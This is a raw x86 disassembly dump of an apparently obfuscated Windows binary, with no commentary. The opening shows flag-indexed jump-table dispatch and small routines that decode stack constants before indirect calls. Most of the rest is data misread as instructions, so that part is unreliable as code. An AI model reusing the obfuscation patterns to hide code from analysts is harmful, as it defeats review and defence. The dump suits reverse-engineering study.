mov dword [esp + 0x150], 1
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x150]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0x3c], ebx
call fcn.0040e6d0
mov dword [esp + 0x208], 0
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0xc]
jmp eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e6d0
mov cx, word [edi]
xor eax, eax
test cx, cx
sete cl
mov dword [esp + 0x200], 0
mov edx, dword [esp + 0x204]
mov esi, dword [esp + 0x200]
mov edx, dword [edx + esi*4]
jmp edx
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x1f8], eax
mov eax, dword [esp + 0x1fc]
mov ecx, dword [esp + 0x1f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e6d0
mov dword [esp + 0x1e8], 0
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 2
sete cl
mov dword [esp + 0x2f0], ecx
mov ecx, dword [esp + 0x2f4]
mov edx, dword [esp + 0x2f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e6d0
mov word [esi], 0x5c
mov word [edi + 6], 0
mov dword [esp + 0xb8], 1
mov eax, dword [esp + 0xbc]
mov ecx, dword [esp + 0xb8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e6d0
xor eax, eax
test esi, esi
sete cl
mov dword [esp + 0x328], 0
mov edx, dword [esp + 0x32c]
mov edi, dword [esp + 0x328]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x184]
mov ecx, dword [ecx + eax*4]
mov eax, ebx
jmp ecx
mov ax, word [esi]
test ax, ax
sete al
mov ecx, dword [esp + 0x1b8]
mov edx, dword [esp + 0x1bc]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov edi, dword [eax + 0x18]
mov ebx, dword [0x457550]
jmp dword [0x44d498]
push esi
push 0
push edi
call ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
push 0
push edi
call ebx
jmp dword [0x44d49c]
add esp, 8
pop esi
pop edi
pop ebx
ret
int3
mov dword [esp], 0xb7b68958
mov byte [esp + 4], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx]
mov ebx, ecx
and ebx, 0xc
mov esi, edx
xor esi, 0xd376d5e
add esi, ebx
mov ebx, esi
and ebx, edi
add ebx, ebx
add esi, edi
mov edi, ebx
xor edi, esi
not ebx
and ebx, esi
add ebx, ebx
sub ebx, edi
add bl, 0x2a
mov byte [esp + edx], bl
inc edx
add ecx, 2
cmp edx, 5
jne 0x43e740
mov ecx, dword [esp]
mov ecx, dword fs:[ecx]
push eax
push 0
push dword [ecx + 0x18]
call dword [0x457558]
add esp, 8
pop esi
pop edi
pop ebx
ret
xor edx, edx
test ecx, ecx
sete dl
jmp dword [edx*4 + 0x44d7d0]
mov dword [esp], 0x939291c0
mov byte [esp + 4], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0x24
xor bl, byte [esp + edx]
add bl, 0x4c
mov byte [esp + edx], bl
inc edx
cmp edx, 5
jne 0x440ec0
mov edx, dword [esp]
mov edx, dword fs:[edx]
push ecx
push eax
push 0
push dword [edx + 0x18]
call dword [0x457554]
jmp 0x440eff
push ecx
call fcn.0043e690
add esp, 0xc
pop ebx
ret
push eax
call fcn.0043e710
add esp, 4
xor eax, eax
add esp, 8
pop ebx
ret
mov cl, 0x43
add byte [eax], ah
mov cl, 0x43
add byte [eax], ah
mov cl, 0x43
add byte [eax], ah
mov cl, 0x43
add byte [eax], ah
mov cl, 0x43
add byte [eax], dh
mov cl, 0x43
add byte [eax - 0x4f], dl
inc ebx
add byte [eax - 0x4f], dl
inc ebx
add byte [eax - 0x4f], dl
inc ebx
add byte [edx - 0x4f], dl
inc ebx
add cl, bh
mov ch, 0x43
add byte [edi - 0x1effbc4f], bl
mov ch, 0x43
add byte [eax - 0x4e], cl
inc ebx
add bh, dl
mov ch, 0x43
add byte [edx + esi*4 + 0x43], ch
add ah, al
mov ch, 0x43
add byte [eax - 0x2fffbc4d], ch
mov bl, 0x43
add al, dl
mov bl, 0x43
add al, dl
mov bl, 0x43
add dl, dl
mov bl, 0x43
add byte [edx - 0xcffbc4b], bh
mov bl, 0x43
add byte [ebp - 0x4bffbc4b], ah
mov ch, 0x43
add byte [esp + esi*4 - 0x4a7effbd], dh
inc ebx
add byte [eax - 0x4b], al
inc ebx
mov ch, 0x43
add byte [esp + esi*4 - 0x4a7effbd], dh
inc ebx
add byte [eax - 0x4b], al
inc ebx
add byte [eax - 0x6fffbc4b], dl
mov ch, 0x43
add byte [eax - 0x6dffbc4b], dl
mov ch, 0x43
add byte [edx - 0x4b], ah
inc ebx
add byte [edx + 0x700043b5], dl
mov ch, 0x43
add byte [eax - 0x4b], dh
inc ebx
add byte [eax - 0x4b], dh
inc ebx
add byte [edx - 0x4b], dh
inc ebx
add byte [ebp + esi*4 - 0x4a5affbd], bl
inc ebx
add byte [ebx], bl
mov bh, 0x43
add byte [esi + esi*4], dh
inc ebx
add byte [ebx], bl
mov bh, 0x43
add byte [eax - 0x4a], dl
inc ebx
add byte [edi - 0x4a], ch
inc ebx
add byte [esi - 0x4a], bl
inc ebx
add byte [edi - 0x4a], ch
inc ebx
add byte [eax - 0x7fffbc4a], dl
mov dh, 0x43
add byte [eax - 0x7dffbc4a], al
mov dh, 0x43
add byte [eax + 0x40043b6], al
mov bh, 0x43
add al, dh
mov dh, 0x43
add byte [eax - 0x49], dl
inc ebx
add byte [eax - 0x49], dl
inc ebx
add byte [ebp - 0x49], dl
inc ebx
add byte [eax - 0x49], dl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x47], ah
inc ebx
add byte [esi - 0x49], bh
inc ebx
add byte [ebp + 0x310043b7], al
mov eax, 0xb8970043
inc ebx
add byte [ecx], dh
mov eax, 0xb8cc0043
inc ebx
add byte [eax + 0x240043b8], dh
mov ecx, 0xcced0043
inc ebx
add byte [eax], ah
retf
aaa
or dword [eax], edi
sbb dword [eax], edi
sub dword [eax], edi
cmp dword [eax], edi
call 0x3c595fe
add al, ah
add byte [eax], al
add byte [esi + 0x34], cl
pop edx
xor eax, 0x35483532
dec esi
xor eax, 0x35793563
inc ebx
pop eax
outsb dx, byte ss:[esi]
test byte ss:[esi], dh
lcall 0xcc36, 0xc636b036
loope 0x45963e
div dword [esi]
std
adc dh, byte ss:[edi]
sub byte [edi], dh
aaa
push esp
aaa
mov cl, 0x38
invalid
mov ah, 0x39
ret
add byte [eax], 0
add byte [eax], cl
xor byte [edx], dh
xor byte [edi + 0x30], ah
cdq
xor dl, al
inc ecx
xor ebp, dword [eax + 0x33]
invalid
pop edi
xor dword ss:[esi], 0xffffffb1
stosb byte es:[edi], al
cmp al, cl
cmp byte [eax], ah
cmp dword [ebp + 0x39], ecx
dec eax
cmp bl, byte [eax + 0x3a]
jge 0x4597f4
pop ds
cmp eax, 0x3d5c3d51
cmp eax, 0x3d933d7d
test eax, 0xbf3db43d
cmp eax, 0x3de03dca
loopne 0x45980d
sar byte [esi], cl
fnstsw word [esi]
invalid
xor eax, 0x35fa35ed
add eax, 0xb4361236
aam 0x36
push ebx
cmp dword [esi + 0x39], ebx
jne 0x4599f3
cmp byte [ecx], 0x97
mov byte [0xbb3bad3b], al
cmp eax, esi
cmp edx, ebx
cmp esi, ebx
cmp edi, esi
cmp ebx, dword [eax]
cmp al, 0x23
cmp al, 0x38
cmp al, 0x56
cmp al, 0x61
cmp al, 0x7b
cmp al, 0x86
cmp al, 0x9d
cmp al, 0xa8
cmp al, 0xbf
cmp al, 0xca
retf 0xeb3c
cmp al, 0xf6
cmp al, 0x17
cmp eax, 0x3d433d22
dec esi
cmp eax, 0x3d7a3d6f
wait
cmp eax, 0x3dc73da6
sar byte [0x3df13de6], cl
adc bh, byte [esi]
sbb eax, 0x4b3e403e
inc eax
dec ebx
retf 0xeb3c
inc eax
dec ebx
insd dword es:[di], dx
xchg esi, eax
movsb byte es:[edi], byte ds:[esi]
jecxz 0x459a78
aas
ja 0x459a7d
cmp byte [edi], 0x91
aas
pushfd
aas
mov cl, 0x3f
mov esp, 0xd43fc63f
aas
fistp qword [edi]
add byte [eax], al
add byte [eax], dl
add al, 0
rol byte [eax], 1
add byte [eax], al
xor byte [eax], dh
xor byte ds:[ecx + 0x30], cl
lea esi, [eax]
wait
xor byte [ebx - 0x37cf56d0], ah
xor bl, dl
xor byte [edi + 0x32], dl
adc al, 0x33
and byte [ebx], dh
push esi
xor ebp, dword [ebx + 0x33]
jbe 0x459aa9
in al, 0x33
lock xor esi, dword [ebx]
xor al, 0x48
xor al, 0x53
xor al, 0x65
xor al, 0x7b
xor al, 0x89
mov dword [esp + edx*4], esi
mov dword [esp + edx*4], esi
xor al, 0xe2
xor al, 0xf0
xor al, 0xfb
xor al, 8
xor eax, 0x3557354f
mov dl, 0x35
sal dword [0x36513642], 0x7d
push ecx
jge 0x459ad4
push ecx
jge 0x459ad4
invalid
add dh, byte ss:[edi]
or eax, 0x7f377037
aaa
mov ch, 0x37
ret
out 0x37, al
int1
aaa
jge 0x459af6
or dword [ecx], edi
adc bh, byte [ecx]
cmp byte [ecx], bh
pop esp
cmp dword [edx + 0x39], ebp
jae 0x459b03
bound edi, qword [edx]
push 0xb33a903a
cmp dl, bh
cmp bh, dl
cli
cmp cl, byte [esi]
cmp ebx, dword [0x793b453b]
cmp ebp, dword [ebp - 0x31c348c4]
cmp al, 0xde
fidivr word [ecx + ecx]
fidivr word [ecx + ecx]
cmp eax, 0x3d2e3d1f
cmp eax, 0x603d4d3d
cmp eax, 0x3d9d3d84
mov ah, 0x3d
mov esi, 0xdb3dca3d
cmp eax, 0x3dee3de4
hlt
cmp eax, 0x3e0f3e03
sbb edi, dword [esi]
and byte [esi], bh
das
cmp edi, dword ds:[esi]
cmp edi, dword [esi]
cmp edi, dword [esi]
push ecx
sub dword ds:[edi], edi
xor eax, 0x8d3f6d3f
aas
idiv dword [edi]
add byte [eax], al
add byte [eax], ah
add al, 0
jo 0x459b26
add byte [eax], al
pop es
xor byte [0xc930bd30], ch
xor ch, bh
xor byte [ebp + 0x31], ch
insd dword es:[edi], dx
xor dword [ecx + 0x31], edi
insd dword es:[edi], dx
xor dword [ecx + 0x31], edi
stosd dword es:[edi], eax
xor dword [esi], esp
xor dh, byte [esi]
xor ah, byte [eax + 0x32]
in al, dx
xor esi, edx
xor edi, dword [edx + 0x34]
jg 0x459b7a
push ds
cmp byte [ebx], ah
cmp byte [eax + edi], bh
inc ecx
cmp byte [edi - 0x5ec76ac8], cl
cmp dword [ecx + edi + 0x39d739d2], esi
in al, 0x39
add dword [edx], edi
adc al, 0x3a
and al, 0x3a
aaa
cmp bl, byte [eax + 0x3a]
pop ebp
cmp cl, byte [ebx + 0x3b]
pushal
cmp ebx, dword [edx]
cmp al, 0x26
cmp al, 0x5f
cmp al, 0x78
cmp al, 0x8d
cmp al, 0x47
cmp eax, 0x3d923d57
xchg edx, eax
cmp eax, 0x3e623e56
push esi
bound edi, qword ds:[esi]
xor dword [ebx + 0x31], eax
pop ecx
cmp byte [0x5d383d38], ch
cmp byte [ebx + 0x38], dh
jns 0x459c28
sbb bh, byte [ecx]
ja 0x459c2d
mov byte [0x439ec39], al
cmp dl, byte [esi]
cmp ch, byte [esi]
cmp cl, byte [edx + 0x3a]
jne 0x459c3c
fnstcw word [ebx]
in eax, 0x3b
sub al, 0x3c
cmp al, 0x69
cmp eax, 0x3db13d75
in al, dx
clc
aas
cmp al, 0x69
cmp eax, 0x3db13d75
in al, dx
clc
aas
cdq
aas
movsd dword es:[edi], dword [esi]
aas
fstp xword [edi]
add byte [eax], al
add byte [eax + 4], al
add byte [eax], bl
add byte [eax], al
dec esp
xor byte [edx + 0x30], bl
mov dword [0xe530d930], eax
xor byte [ecx + esi], dl
invalid
sub dword [ebx], esi
xor eax, 0xbb336833
xor eax, edi
xor edi, edi
xor ebp, dword [esp + esi + 0x350834bd]
pop ebx
wait
cld
or byte ss:[edi], dh
inc ebx
aaa
sbb al, 0x39
sub byte [ecx], bh
pop edi
cmp dword [ecx + edi + 0x3a9b39ca], edi
dec eax
cmp al, 0x54
cmp al, 0x90
cmp al, 0x29
cmp eax, 0x3d7e3d37
add byte [eax], al
add byte [eax + 4], dl
add byte [eax + 0x64000003], al
xor eax, 0x356c3568
jo 0x459cb9
je 0x459cbb
js 0x459cbd
jl 0x459cbf
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07b88f8
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
inc esp
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x459d3c
js 0x459d3e
jl 0x459d40
xor byte [esi], 0x84
mov byte ss:[esi], dh
mov byte [esi], dh
mov byte [esi], dh
invalid
int3
in al, 0x36
call 0xf07c8979
hlt
in al, dx
invalid
adc byte [edi], dh
adc al, 0x37
sbb byte [edi], dh
sbb al, 0x37
and byte [edi], dh
and al, 0x37
sub byte [edi], dh
sub al, 0x37
xor byte [edi], dh
xor al, 0x37
cmp byte [edi], dh
cmp al, 0x37
inc eax
aaa
inc esp
aaa
dec eax
aaa
dec esp
aaa
push eax
aaa
push esp
aaa
pop eax
aaa
pop esp
aaa
pushal
aaa
aaa
push 0x70376c37
aaa
je 0x459dbd
js 0x459dbf
jl 0x459dc1
xor byte [edi], 0x84
aaa
mov byte [edi], dh
invalid
les esi, [edi]
enter 0xffffffffffffcc37, 0x37
sal byte [edi], 1
aam 0x37
fdiv dword [edi]
fdiv qword [edi]
loopne 0x459df3
in al, 0x37
aaa
call 0xf07d89fa
aaa
hlt
aaa
in al, dx
aaa
invalid
or byte [eax], bh
or al, 0x38
adc byte [eax], bh
adc al, 0x38
sbb byte [eax], bh
sbb al, 0x38
and byte [eax], bh
and al, 0x38
sub byte [eax], bh
sub al, 0x38
xor byte [eax], bh
xor al, 0x38
cmp byte [eax], bh
cmp al, 0x38
inc eax
cmp byte [eax + edi + 0x48], al
cmp byte [eax + edi + 0x50], cl
dec esp
invalid
push eax
dec esp
cmp byte [eax + 0x38], dl
push esp
cmp byte [eax + 0x38], bl
pop esp
cmp byte [eax + 0x38], ah
cmp byte fs:[eax + 0x38], ch
insb byte es:[edi], dx
cmp byte [eax + 0x38], dh
je 0x459e3e
cmp byte [eax + edi + 0x58], dl
cmp byte [eax + edi + 0x60], bl
cmp byte [eax + edi + 0x68], ah
cmp byte [eax + edi + 0x70], ch
cmp byte [eax + edi + 0x78], dh
cmp byte [eax + edi - 0x80], bh
cmp byte [eax + edi + 0x388c3888], al
js 0x459e40
jl 0x459e42
cmp byte [eax], 0x84
cmp byte [eax - 0x6fc773c8], cl
nop
nop
cmp byte [eax + edi + 0x389c3898], dl
mov al, byte [0xa838a438]
cmp byte [eax + edi + 0x38b438b0], ch
mov eax, 0xc038bc38
cmp ah, al
cmp al, cl
cmp ah, cl
cmp al, dl
cmp ah, dl
cmp al, bl
cmp ah, bl
cmp al, ah
cmp ah, ah
cmp al, ch
cmp ah, ch
call 0xf07e8a7b
in al, dx
cmp al, dh
invalid
cmp ah, dh
cmp al, bh
cmp ah, bh
cmp byte [eax], al
cmp dword [ecx + edi], eax
or byte [ecx], bh
or al, 0x39
adc byte [ecx], bh
adc al, 0x39
sbb byte [ecx], bh
sbb al, 0x39
and byte [ecx], bh
and al, 0x39
sub byte [ecx], bh
sub al, 0x39
xor byte [ecx], bh
xor al, 0x39
cmp byte [ecx], bh
cmp al, 0x39
inc eax
cmp dword [ecx + edi + 0x48], eax
cmp dword [ecx + edi + 0x50], ecx
cmp dword [ecx + edi + 0x58], edx
cmp dword [ecx + edi + 0x60], ebx
cmp dword [ecx + edi + 0x68], esp
cmp dword [ecx + edi + 0x70], ebp
cmp dword [ecx + edi + 0x78], esi
cmp dword [ecx + edi - 0x80], edi
jl 0x459ec3
cmp byte [ecx], 0x84
cmp dword [eax - 0x6fc673c7], ecx
jl 0x459ec3
cmp byte [ecx], 0x84
cmp dword [eax - 0x6fc673c7], ecx
cmp dword [ecx + edi + 0x399c3998], edx
mov al, byte [0xa839a439]
cmp dword [ecx + edi + 0x39b439b0], ebp
mov eax, 0xc039bc39
cmp esp, eax
cmp eax, ecx
cmp esp, ecx
cmp eax, edx
cmp esp, edx
cmp eax, ebx
cmp esp, ebx
cmp eax, esp
cmp esp, esp
cmp eax, ebp
cmp esp, ebp
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and byte [edx], bh
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp dh, byte [edx + edi + 0x78]
cmp bh, byte [edx + edi - 0x80]
cmp al, byte [edx + edi + 0x3a8c3a88]
cmp cl, byte [eax - 0x6fc573c6]
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
mov al, byte [0xa83aa43a]
cmp ch, byte [edx + edi + 0x3ab43ab0]
mov eax, 0xc03abc3a
cmp al, ah
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
cmp dh, al
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp edi, dword [eax]
cmp edi, dword [ebx + edi]
cmp edi, dword [eax]
cmp edi, dword [ebx + edi]
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
cmp ebx, dword [ebx + edi + 0x60]
cmp esp, dword [ebx + edi + 0x68]
cmp ebp, dword [ebx + edi + 0x70]
cmp esi, dword [ebx + edi + 0x78]
cmp edi, dword [ebx + edi - 0x80]
cmp eax, dword [ebx + edi + 0x3b8c3b88]
cmp edx, dword [eax - 0x67c46bc5]
cmp ebx, dword [ebx + edi + 0x3ba43ba0]
test al, 0x3b
lodsb al, byte [esi]
cmp esi, dword [eax - 0x47c44bc5]
cmp edi, dword [ebx + edi + 0x3bc43bc0]
enter 0xffffffffffffcc3b, 0x3b
sar byte [ebx], 1
aam 0x3b
fdivr dword [ebx]
fdivr qword [ebx]
loopne 0x459ff7
invalid
cmp edx, dword [eax - 0x67c46bc5]
cmp ebx, dword [ebx + edi + 0x3ba43ba0]
test al, 0x3b
lodsb al, byte [esi]
cmp esi, dword [eax - 0x47c44bc5]
cmp edi, dword [ebx + edi + 0x3bc43bc0]
enter 0xffffffffffffcc3b, 0x3b
sar byte [ebx], 1
aam 0x3b
fdivr dword [ebx]
fdivr qword [ebx]
loopne 0x459ff7
in al, 0x3b
call 0xf0818bfe
cmp ebp, eax
cmp ebp, esp
cmp esi, eax
cmp esi, esp
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
cmp al, 0x28
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0
add byte [eax], al
pushal
add al, 0
test al, 0
add byte [eax], al
or byte [esi], dh
or al, 0x36
add byte [eax + 0x8000000], ch
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x45a06a
js 0x45a06c
jl 0x45a06e
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
xchg esp, eax
cwde
pushfd
mov al, byte ss:[0xa836a436]
lodsb al, byte ss:[esi]
mov al, 0x36
mov ah, 0x36
mov eax, 0xc036bc36
les esi, ss:[esi]
enter 0xffffffffffffcc36, 0x36
sal byte [esi], 1
aam 0x36
fdiv dword [esi]
fdiv qword [esi]
loopne 0x45a0a0
in al, 0x36
call 0xf07c8ca7
hlt
in al, dx
invalid
dec eax
cmp cl, byte [edx + edi - 0x20]
cmp esp, esp
cmp ebp, eax
cmp ebp, esp
cmp eax, dword [eax]
add byte [eax], al
add byte [eax + eax], 0x44
inc esp
push es
add byte [eax], al
add al, 0x30
or byte [eax], dh
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
sbb al, 0x30
and byte [eax], dh
and al, 0x30
sub byte [eax], dh
sub al, 0x30
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x68], ah
xor byte [eax + esi + 0x70], ch
xor byte [eax + esi + 0x78], dh
xor byte [eax + esi - 0x80], bh
xor byte [eax + esi + 0x308c3088], al
nop
xor byte [eax + esi + 0x309c3098], dl
mov al, byte [0xa830a430]
xor byte [eax + esi + 0x30b430b0], ch
mov eax, 0xc030bc30
xor ah, al
xor al, cl
xor ah, cl
xor al, dl
xor ah, dl
xor al, bl
xor ah, bl
xor al, ah
xor ah, ah
xor al, ch
xor ah, ch
xor al, dh
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x45a38f
je 0x45a391
js 0x45a393
jl 0x45a395
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07b8fce
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x45a412
js 0x45a414
jl 0x45a416
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
invalid
hlt
add byte [edi], dh
add al, 0x37
